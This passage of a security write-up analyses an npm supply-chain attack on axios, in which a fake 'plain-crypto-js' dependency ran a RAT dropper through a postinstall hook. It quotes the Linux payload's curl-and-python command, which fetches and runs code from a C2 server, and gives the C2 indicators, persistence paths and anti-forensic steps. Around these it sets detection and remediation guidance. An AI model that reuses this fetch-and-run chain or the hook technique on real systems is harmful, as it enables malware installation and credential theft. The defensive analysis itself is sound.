&lt;/span&gt;&lt;span class="nl"&gt;"_npmUser"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"jasonsaayman"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ifstap@proton.me"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;No&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;trustedPublisher.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;No&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;gitHead.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;No&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;corresponding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;GitHub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;commit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;tag.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is &lt;strong&gt;no commit, no tag, no release&lt;/strong&gt; in the axios GitHub repository corresponding to &lt;code&gt;1.14.1&lt;/code&gt;. The release exists only on npm. The attacker used a stolen long-lived classic npm access token — not the ephemeral OIDC token used by legitimate CI releases.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 — The Fake Dependency: &lt;code&gt;plain-crypto-js@4.2.1&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;The actual malware was not inside axios. It was delivered through a phantom dependency.&lt;/p&gt;

&lt;p&gt;The attacker added &lt;code&gt;plain-crypto-js: "^4.2.1"&lt;/code&gt; to axios's &lt;code&gt;package.json&lt;/code&gt;. This package — which &lt;strong&gt;never appears in any legitimate axios version&lt;/strong&gt; — masquerades as the well-known &lt;code&gt;crypto-js&lt;/code&gt; library. It clones all 56 source files bit-for-bit from the real &lt;code&gt;crypto-js@4.2.0&lt;/code&gt;, making diff-based analysis find nothing suspicious.&lt;/p&gt;

&lt;p&gt;The entire difference between the decoy (&lt;code&gt;4.2.0&lt;/code&gt;) and the weapon (&lt;code&gt;4.2.1&lt;/code&gt;) is &lt;strong&gt;three files&lt;/strong&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;In 4.2.0&lt;/th&gt;
&lt;th&gt;In 4.2.1&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;package.json&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No &lt;code&gt;scripts&lt;/code&gt; section&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;"postinstall": "node setup.js"&lt;/code&gt; added&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;setup.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Not present&lt;/td&gt;
&lt;td&gt;4.2 KB obfuscated RAT dropper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;package.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Not present&lt;/td&gt;
&lt;td&gt;Clean JSON stub for evidence destruction&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The dependency injection diff in axios is equally surgical — &lt;strong&gt;exactly one file changed&lt;/strong&gt; between &lt;code&gt;1.14.0&lt;/code&gt; and &lt;code&gt;1.14.1&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;# axios/package.json
&lt;span class="gd"&gt;- "version": "1.14.0",
&lt;/span&gt;&lt;span class="gi"&gt;+ "version": "1.14.1",
&lt;/span&gt;  "dependencies": {
    "follow-redirects": "^2.1.0",
    "form-data": "^4.0.1",
    "proxy-from-env": "^2.0.0",
&lt;span class="gi"&gt;+   "plain-crypto-js": "^4.2.1"
&lt;/span&gt;  }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A grep across all 86 files in &lt;code&gt;axios@1.14.1&lt;/code&gt; confirms: &lt;code&gt;plain-crypto-js&lt;/code&gt; is &lt;strong&gt;never imported or required anywhere&lt;/strong&gt; in the axios source. Its only purpose is to trigger the &lt;code&gt;postinstall&lt;/code&gt; hook.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 — The RAT Dropper: &lt;code&gt;setup.js&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;setup.js&lt;/code&gt; is a minified, obfuscated Node.js file. All sensitive strings — module names, OS identifiers, the C2 URL, shell commands — are stored encoded in an array and decoded at runtime using a two-layer scheme: a XOR cipher followed by base64 decode with string reversal.&lt;/p&gt;

&lt;p&gt;Once decoded, the dropper's logic is straightforward and terrifying.&lt;/p&gt;

&lt;h3&gt;
  
  
  The C2 Server
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://sfrclak.com:8000/6202033
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;6202033&lt;/code&gt; is a campaign tracking ID. The attacker receives separate callbacks per OS using distinct POST bodies:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;macOS → &lt;code&gt;packages.npm.org/product0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Windows → &lt;code&gt;packages.npm.org/product1&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Linux → &lt;code&gt;packages.npm.org/product2&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;code&gt;packages.npm.org/&lt;/code&gt; prefix is deliberate — it mimics legitimate npm registry traffic in network logs and SIEMs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Platform-Specific Payloads
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;macOS&lt;/strong&gt; — Writes an AppleScript to &lt;code&gt;/tmp/6202033&lt;/code&gt;, executes it via &lt;code&gt;nohup osascript&lt;/code&gt;, which downloads the RAT binary to &lt;code&gt;/Library/Caches/com.apple.act.mond&lt;/code&gt; (named to mimic an Apple system daemon), makes it executable, and launches it via &lt;code&gt;/bin/zsh&lt;/code&gt;. The script self-deletes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Windows&lt;/strong&gt; — Locates PowerShell via &lt;code&gt;where powershell&lt;/code&gt;, copies it to &lt;code&gt;%PROGRAMDATA%\wt.exe&lt;/code&gt; (disguised as Windows Terminal), writes a VBScript to temp, executes it via &lt;code&gt;cscript //nologo&lt;/code&gt; in a hidden window. The VBScript fetches a PowerShell stage-2 payload and self-deletes. &lt;strong&gt;&lt;code&gt;%PROGRAMDATA%\wt.exe&lt;/code&gt; persists across reinstalls&lt;/strong&gt; — this is the Windows persistence mechanism.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Linux&lt;/strong&gt; — Direct curl + Python chain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/ld.py &lt;span class="nt"&gt;-d&lt;/span&gt; packages.npm.org/product2 &lt;span class="nt"&gt;-s&lt;/span&gt; http://sfrclak.com:8000/6202033 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;nohup &lt;/span&gt;python3 /tmp/ld.py http://sfrclak.com:8000/6202033 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Execution Speed
&lt;/h3&gt;

&lt;p&gt;The C2 contact happens &lt;strong&gt;2 seconds into &lt;code&gt;npm install&lt;/code&gt;&lt;/strong&gt; — before npm has finished resolving all dependencies. The &lt;code&gt;nohup&lt;/code&gt; process then persists as a detached daemon (re-parented to PID 1) that continues running in subsequent workflow steps, long after npm completes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Anti-Forensics: The Evidence Swap
&lt;/h3&gt;

&lt;p&gt;After launching the platform payload, &lt;code&gt;setup.js&lt;/code&gt; performs three cleanup steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Deletes itself&lt;/strong&gt; — &lt;code&gt;fs.unlink(__filename)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deletes &lt;code&gt;package.json&lt;/code&gt;&lt;/strong&gt; — removes the file containing &lt;code&gt;"postinstall": "node setup.js"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Renames &lt;code&gt;package.md&lt;/code&gt; → &lt;code&gt;package.json&lt;/code&gt;&lt;/strong&gt; — installs the pre-staged clean stub&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The clean stub reports version &lt;code&gt;4.2.0&lt;/code&gt; — not &lt;code&gt;4.2.1&lt;/code&gt;. So after infection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;npm list plain-crypto-js
myproject@1.0.0
└── plain-crypto-js@4.2.0   &lt;span class="c"&gt;# ← reports 4.2.0, not 4.2.1. The dropper already ran.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Post-infection, &lt;code&gt;npm audit&lt;/code&gt; is clean. &lt;code&gt;npm list&lt;/code&gt; looks clean. The only forensic artifact is the &lt;strong&gt;existence of the &lt;code&gt;node_modules/plain-crypto-js/&lt;/code&gt; directory&lt;/strong&gt; — because this package is not a dependency of any legitimate axios version. Its presence alone is proof of compromise.&lt;/p&gt;




&lt;h2&gt;
  
  
  Am I Affected? — Check Right Now
&lt;/h2&gt;

&lt;p&gt;Run these commands in every project that uses axios:&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — Check for malicious axios versions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm list axios 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"1&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;14&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;1|0&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;30&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;4"&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A1&lt;/span&gt; &lt;span class="s1"&gt;'"axios"'&lt;/span&gt; package-lock.json | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"1&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;14&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;1|0&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;30&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;4"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 2 — Check for the dropper directory
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls &lt;/span&gt;node_modules/plain-crypto-js 2&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"⚠️  POTENTIALLY COMPROMISED"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;If this directory exists at all, the dropper ran. The version number inside is unreliable — it was replaced with a clean stub.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Step 3 — Check for RAT artifacts
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# macOS&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /Library/Caches/com.apple.act.mond 2&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"🚨 COMPROMISED"&lt;/span&gt;

&lt;span class="c"&gt;# Linux&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /tmp/ld.py 2&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"🚨 COMPROMISED"&lt;/span&gt;

&lt;span class="c"&gt;# Windows (cmd.exe)&lt;/span&gt;
&lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="s2"&gt;"%PROGRAMDATA%&lt;/span&gt;&lt;span class="se"&gt;\w&lt;/span&gt;&lt;span class="s2"&gt;t.exe"&lt;/span&gt; 2&amp;gt;nul &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo &lt;/span&gt;COMPROMISED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 4 — Check your CI/CD history
&lt;/h3&gt;

&lt;p&gt;Review any pipeline logs for &lt;code&gt;npm install&lt;/code&gt; runs between &lt;strong&gt;March 31 00:21 UTC and March 31 03:15 UTC&lt;/strong&gt;. Any pipeline that installed &lt;code&gt;axios@1.14.1&lt;/code&gt; or &lt;code&gt;axios@0.30.4&lt;/code&gt; should be treated as compromised and all injected secrets rotated immediately.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remediation — Step by Step
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Downgrade to a safe version and pin it
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# For 1.x users&lt;/span&gt;
npm &lt;span class="nb"&gt;install &lt;/span&gt;axios@1.14.0

&lt;span class="c"&gt;# For 0.x users&lt;/span&gt;
npm &lt;span class="nb"&gt;install &lt;/span&gt;axios@0.30.3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Lock it with overrides to prevent transitive re-resolution
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"axios"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1.14.0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"overrides"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"axios"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1.14.0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"resolutions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"axios"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1.14.0"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Remove the malicious package and reinstall clean
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; node_modules/plain-crypto-js
npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--ignore-scripts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. If RAT artifacts found — treat as full system compromise
&lt;/h3&gt;

&lt;p&gt;Do &lt;strong&gt;not&lt;/strong&gt; attempt to clean in place. Rebuild from a known-good state and rotate &lt;strong&gt;all&lt;/strong&gt; credentials that were accessible on that system:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;npm tokens&lt;/li&gt;
&lt;li&gt;AWS / GCP / Azure access keys&lt;/li&gt;
&lt;li&gt;SSH private keys&lt;/li&gt;
&lt;li&gt;GitHub personal access tokens&lt;/li&gt;
&lt;li&gt;All &lt;code&gt;.env&lt;/code&gt; file secrets&lt;/li&gt;
&lt;li&gt;CI/CD pipeline secrets&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5. Block the C2 domain at the network level
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux — firewall block&lt;/span&gt;
iptables &lt;span class="nt"&gt;-A&lt;/span&gt; OUTPUT &lt;span class="nt"&gt;-d&lt;/span&gt; 142.11.206.73 &lt;span class="nt"&gt;-j&lt;/span&gt; DROP

&lt;span class="c"&gt;# macOS/Linux — hosts file block&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"0.0.0.0 sfrclak.com"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Indicators of Compromise (IOCs)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Malicious npm Packages
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Package&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;th&gt;SHA&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;axios&lt;/td&gt;
&lt;td&gt;1.14.1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2553649f232204966871cea80a5d0d6adc700ca&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;axios&lt;/td&gt;
&lt;td&gt;0.30.4&lt;/td&gt;
&lt;td&gt;&lt;code&gt;d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;plain-crypto-js&lt;/td&gt;
&lt;td&gt;4.2.1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;07d889e2dadce6f3910dcbc253317d28ca61c766&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Network IOCs
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;C2 domain&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sfrclak.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C2 IP&lt;/td&gt;
&lt;td&gt;&lt;code&gt;142.11.206.73&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C2 URL&lt;/td&gt;
&lt;td&gt;&lt;code&gt;http://sfrclak.com:8000/6202033&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  File System IOCs
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Platform&lt;/th&gt;
&lt;th&gt;Path&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;macOS&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/Library/Caches/com.apple.act.mond&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows (persistent)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%PROGRAMDATA%\wt.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows (temp)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;%TEMP%\6202033.vbs&lt;/code&gt;, &lt;code&gt;%TEMP%\6202033.ps1&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/tmp/ld.py&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Safe Versions
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Package&lt;/th&gt;
&lt;th&gt;Safe Version&lt;/th&gt;
&lt;th&gt;SHA&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;axios&lt;/td&gt;
&lt;td&gt;1.14.0&lt;/td&gt;
&lt;td&gt;&lt;code&gt;7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;axios&lt;/td&gt;
&lt;td&gt;0.30.3&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(safe baseline)&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  What This Attack Teaches Us About Supply Chain Security
&lt;/h2&gt;

&lt;p&gt;This incident is not just an axios story. It's a blueprint that will be reused.&lt;/p&gt;

&lt;h3&gt;
  
  
  The threat model has fundamentally shifted
&lt;/h3&gt;

&lt;p&gt;The attacker didn't touch your code. They didn't exploit your application. They compromised a package your app &lt;strong&gt;trusts unconditionally&lt;/strong&gt;. Every &lt;code&gt;npm install&lt;/code&gt; is an implicit trust decision — and most teams make that decision dozens of times a day without thinking about it.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;npm audit&lt;/code&gt; is not enough
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;npm audit&lt;/code&gt; checks for &lt;strong&gt;known&lt;/strong&gt; CVEs in declared dependencies. It cannot detect a phantom dependency injected at the registry level, especially one that self-destructs its own evidence. Audit gives you a false sense of security for this class of attack.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;postinstall&lt;/code&gt; hooks are the attack surface
&lt;/h3&gt;

&lt;p&gt;The entire kill chain relies on one mechanism: &lt;code&gt;postinstall&lt;/code&gt; scripts. npm executes these automatically during &lt;code&gt;npm install&lt;/code&gt;. They run with the same permissions as the process that invoked npm — which on a developer machine often means full user-level access to credentials, SSH keys, and cloud tokens.&lt;/p&gt;

&lt;h3&gt;
  
  
  The permanent fix: &lt;code&gt;--ignore-scripts&lt;/code&gt; in CI
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# In your CI pipeline — add this permanently&lt;/span&gt;
npm ci &lt;span class="nt"&gt;--ignore-scripts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This prevents ALL &lt;code&gt;postinstall&lt;/code&gt;, &lt;code&gt;preinstall&lt;/code&gt;, and lifecycle scripts from running during automated builds. For most production CI pipelines, you don't need these hooks — and disabling them eliminates the entire attack surface this incident exploited.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Trade-off:&lt;/strong&gt; Some packages (native modules, Puppeteer, etc.) require &lt;code&gt;postinstall&lt;/code&gt; scripts. Audit your dependencies and re-enable specific ones if required.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Prefer OIDC Trusted Publishing over long-lived tokens
&lt;/h3&gt;

&lt;p&gt;The attacker used a stolen long-lived npm access token. The legitimate axios releases used OIDC ephemeral tokens tied to specific GitHub Actions workflows — tokens that &lt;strong&gt;cannot be stolen&lt;/strong&gt; because they expire after a single use.&lt;/p&gt;

&lt;p&gt;If you publish packages to npm, configure Trusted Publishing. It makes this exact attack vector impossible.&lt;/p&gt;

&lt;h3&gt;
  
  
  Lock your dependencies — actually lock them
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Commit your lockfile. Always.&lt;/span&gt;
git add package-lock.json
git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"chore: update lockfile"&lt;/span&gt;

&lt;span class="c"&gt;# Use npm ci in production, not npm install&lt;/span&gt;
npm ci  &lt;span class="c"&gt;# Respects lockfile exactly. No surprise resolutions.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;npm install&lt;/code&gt; can resolve to a newer patch version if your semver range allows it. &lt;code&gt;npm ci&lt;/code&gt; installs exactly what's in the lockfile. The malicious &lt;code&gt;axios@1.14.1&lt;/code&gt; would have been caught by a lockfile that pinned &lt;code&gt;1.14.0&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Broader Picture: This Is Becoming Normal
&lt;/h2&gt;

&lt;p&gt;This is among the most operationally sophisticated supply chain attacks documented against a top-10 npm package. Three OS payloads pre-built. A decoy package published 18 hours early to establish publishing history. A version number spoofing trick in the self-destruct routine. C2 traffic disguised as npm registry communication.&lt;/p&gt;

&lt;p&gt;But the playbook itself is not new. We've seen it in &lt;code&gt;event-stream&lt;/code&gt; (2018), &lt;code&gt;ua-parser-js&lt;/code&gt; (2021), &lt;code&gt;node-ipc&lt;/code&gt; (2022), and now axios (2026). Each attack is more sophisticated than the last.&lt;/p&gt;

